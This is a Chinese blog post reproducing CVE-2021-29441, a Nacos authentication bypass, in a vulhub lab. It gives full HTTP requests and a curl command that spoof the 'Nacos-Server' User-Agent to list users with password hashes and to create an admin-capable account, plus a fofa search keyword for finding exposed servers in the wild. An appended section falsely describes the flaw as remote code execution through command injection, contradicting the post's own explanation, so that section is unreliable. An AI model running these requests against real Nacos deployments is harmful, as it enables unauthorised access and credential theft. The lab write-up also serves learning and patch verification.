nacos未授权-CVE-2021-29441复现

更新时间:2022.06.21

image.png

说明

参考文档:https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29441/README.zh-cn.md

1. 漏洞介绍

Nacos 是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

影响版本: Nacos <= 2.0.0-ALPHA.1

2. 漏洞复现

2.1 环境搭建

本次使用vulhub复现:
docker-compose up -d --build

image.png

查看下当前的docker id:
image.png

环境运行后,会开放3306、8848、9848、9555端口,在本次漏洞利用中,我们只需要用到8848端口,即web访问端口。执行漏洞验证过程时,请先访问8848端口,确认开放,某些情况下nacos服务会启动失败(无法连接数据库导致),可以重启nacos服务或者重启所有服务


docker-compose restart nacos
image.png

在这里访问下:http://127.0.0.1:8848/nacos/#/login

image.png

2.2 漏洞检测

访问页面

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

在访问的时候,将User-Agent的值修改为Nacos-Server,发到repeater模块,看下返回包:

GET /nacos/v1/auth/users?pageNo=1&pageSize=2 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache

image.png
此时看到返回的响应为200,并且包含了当前的用户名nacos,密码为加盐加密之后的值。

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Tue, 21 Jun 2022 10:44:10 GMT
Connection: close
Content-Length: 159

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

image.png

2.3 添加新用户

在下面的链接中添加一个新用户:crow,注意使用POST方法,并且需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?username=crow&password=crow
POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=crow&password=crow

image.png

此时再去访问以下链接看用户是否添加成功,需要将User-Agent依旧设置为Nacos-Server

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

image.png
此时用户添加成功,使用新建的账号登录:
image.png
当然,任意用户注册也可以使用curl来添加,效果是一样的。

curl -XPOST 'http://127.0.0.1/nacos/v1/auth/users?username=crow&password=crow' -H 'User-Agent: Nacos-Server'

3. 实战

fofa关键字:title="nacos"

4. 漏洞修复

本地漏洞修复之后及时关闭环境:
image.png

修复策略就是升级Nacos版本到最新版本

**Nacos 漏洞 CVE-2021-29441 解决方案** 在探讨 NacosCVE-2021-29441 总览 Nacos 是一款开源的服务发现、配置中心和微服务治理平台。CVE-2021-29441 是关于 Nacos 中存在的一个远程代码执行(RCE)漏洞。攻击者利用此漏洞可以发送恶意请求至 Nacos Server 端点,通过构造特定的 HTTP 请求头来执行任意命令,从而可能导致服务器崩溃或被控制。 ### 漏洞原因分析 这个漏洞主要是由于 Nacos 对某些 HTTP 请求头处理不当,能充分过滤或验证输入的敏感字符序列,导致恶意用户能够注入并执行恶意命令。 ### 解决方案 为了修复这一安全风险,Nacos 开发团队发布了补丁,并建议所有用户采取以下几个步骤: 1. **升级到最新版本**:最直接有效的办法是将 Nacos 更新到最新的稳定版,这通常包含对已知安全漏洞的修复。访问官方发布页面查找最新版本并按照文档指引进行更新。 - [Nacos 官方 GitHub 页面](https://github.com/alibaba/nacos/releases) 2. **禁用不受支持的功能**:如果您的部署暂时无法升级,可以尝试关闭或禁用那些可能导致攻击的特定功能。Nacos 提供了详细的管理界面选项来控制其操作模式和端口暴露,注意避免开启不必要的对外接口和服务。 3. **实施网络隔离与防火墙策略**:即便使用了最新版本的 Nacos,也应确保内部网络环境的安全,包括但不限于限制外部网络对 Nacos 服务的访问权限,设置合理的防火墙规则以阻止非授权的通信。 4. **定期审核安全配置**:持续监控 Nacos 配置文件和日志记录,检查是否有异常活动,以及是否有人尝试利用此漏洞进行攻击。同时,考虑采用审计工具和入侵检测系统 (IDS) 来加强安全性。 5. **开展安全培训**:提升团队成员对于最新威胁的意识,强化安全最佳实践,如避免硬编码敏感信息、正确处理用户输入等,降低人为错误引入安全隐患的可能性。 ### 结论 修复 Nacos 中的 CVE-2021-29441 漏洞不仅涉及到软件版本的更新,还需要全面的安全风险管理措施。及时响应安全公告,结合实际业务场景制定综合防护策略,是保护系统免受此类攻击的关键所在。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值